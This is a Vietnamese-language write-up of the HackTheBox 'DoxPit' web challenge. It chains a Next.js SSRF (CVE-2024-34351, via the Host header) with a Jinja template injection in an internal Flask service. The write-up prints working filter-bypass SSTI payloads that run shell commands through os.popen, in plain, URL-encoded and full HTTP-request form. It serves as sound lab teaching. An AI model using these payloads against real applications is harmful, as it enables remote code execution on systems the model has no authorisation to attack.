---
# System prepended metadata

title: DoxPit HackTheBox
tags: [SSTI, CVE-2024-34351, NextJS, SSRF, WebHTB]

---

# DoxPit HackTheBox
## Recon
Giao diện trang web
![image](https://hackmd.io/_uploads/HkmG74iD0.png)

Trừ Hall of  Fame `/hof` thì tất cả link khác đều redirect đến `/error`

![image](https://hackmd.io/_uploads/HkLOdriDC.png)


Frontend trang web sử dụng NextJS v14.1.0
![image](https://hackmd.io/_uploads/H1lhINVsw0.png)

## SSTI

Trong source code route.py 
Khi sử dụng các kí tự trong `invalid_chars` thì server sẽ trả về `error`
![image](https://hackmd.io/_uploads/Bk2JNEow0.png)

![image](https://hackmd.io/_uploads/SkRPVEoPC.png)


Flag đã được thêm chuỗi random đằng sau nên cần RCE để đọc flag
![image](https://hackmd.io/_uploads/BJAjEViPC.png)

![image](https://hackmd.io/_uploads/SkAgrVowA.png)

Hàm `scan_directory` nhận input là đường dẫn thư mục từ người dùng sau đó sẽ tìm đệ quy tất cả các file trong thư mục và so sách hash các file đó xem có nằm trong blacklist không, nếu có thì báo là malicious, ko thì báo safe sau đó sẽ trả kết quả để đưa vào 1 template => SSTI

Note: `Flask` dùng `Jinja` template

![image](https://hackmd.io/_uploads/rk9rH4jDC.png)


![image](https://hackmd.io/_uploads/HJQ5eHovC.png)

![image](https://hackmd.io/_uploads/H1BYz8oDR.png)

Project `av` chạy trên port `3000` nhưng không thể truy cập từ bên ngoài vì vậy chúng ta cần SSRF để khai thác SSTI trên server

Chạy thử project `av`
![image](https://hackmd.io/_uploads/SJvMZHsDA.png)
![image](https://hackmd.io/_uploads/r1WN-BjDA.png)

Khi đăng kí một token sẽ được tạo cho user
![image](https://hackmd.io/_uploads/HyQwWriwA.png)


Scan thử dir `/home/kali`
![image](https://hackmd.io/_uploads/rJRmzBjDA.png)

Inject payload vào `{%print(1822)%}`
![image](https://hackmd.io/_uploads/ry30fBovR.png)

Bây giờ đã RCE được nhưng vì các ký tự “{{{” và “}}” bị cấm nên chúng ta sẽ sử dụng “{%” “%}”. Chúng ta cũng không thể sử dụng “.” để gọi các phương thức, nhưng có thể sử dụng hàm attr, hàm này cho phép chúng ta lấy một thuộc tính mà không cần sử dụng dấu chấm.
Payload from Hacktrick
```
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l${IFS}/')|attr('read')()%}{%print(a)%}{%endwith%}
```
Do cũng không thể sử dụng `\x` nên việc encode HEX không cần thiết. Thay vào đó có thể sử dụng
```
request|attr(request.args.foo)
```

Payload 
```
{%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l /
```

```http!
GET /home?directory={%25with+a%3d((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%25}{%25print(a)%25}{%25endwith%25}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=whoami HTTP/1.1
Host: localhost:3000
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=0lfl_Dm3t8kjDoR_nH7HnDEySPpvkL819WPXt8zOVRI
Connection: keep-alive
```
![image](https://hackmd.io/_uploads/r1PAVSsPR.png)


## SSRF
Phiên bản NextJS 14.1.0 có [CVE-2024-34351](https://nvd.nist.gov/vuln/detail/CVE-2024-34351) SSRF 
Khai thác lỗ hổng này bằng cách sửa `Host` header

Tiếp theo, để sử dụng SSRF, chúng ta cần Next-Action ID. Nó có thể được tìm thấy trong mã nguồn của trang.
![image](https://hackmd.io/_uploads/HJe0OEoDR.png)

## Get flag
Host 1 máy chủ redriect đến /register trigger lỗ hổng SSRF và lấy token
![image](https://hackmd.io/_uploads/HkhqQLjPA.png)

Khi gửi request dùng method `POST` máy chủ sẽ redirect đến endpoint đăng ký
![image](https://hackmd.io/_uploads/BJM13SovR.png)

Sau khi trigger thành công sử dụng token và chèn payload đã tạo ở trên vào param `directory` để khai thác SSTI

Payload
```!
{%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l /
```
Encode
```!
{%with%20a=((((request|attr(%27application%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27globals%27)))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27builtins%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27import%27))(%27os%27)|attr(%27popen%27)(request|attr(%22args%22)|attr(%22get%22)(%27cmd%27))|attr(%27read%27)()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls%20-l%20/
```

![image](https://hackmd.io/_uploads/BkvtXLjwA.png)


Get flag!
![image](https://hackmd.io/_uploads/B1pbaBivA.png)

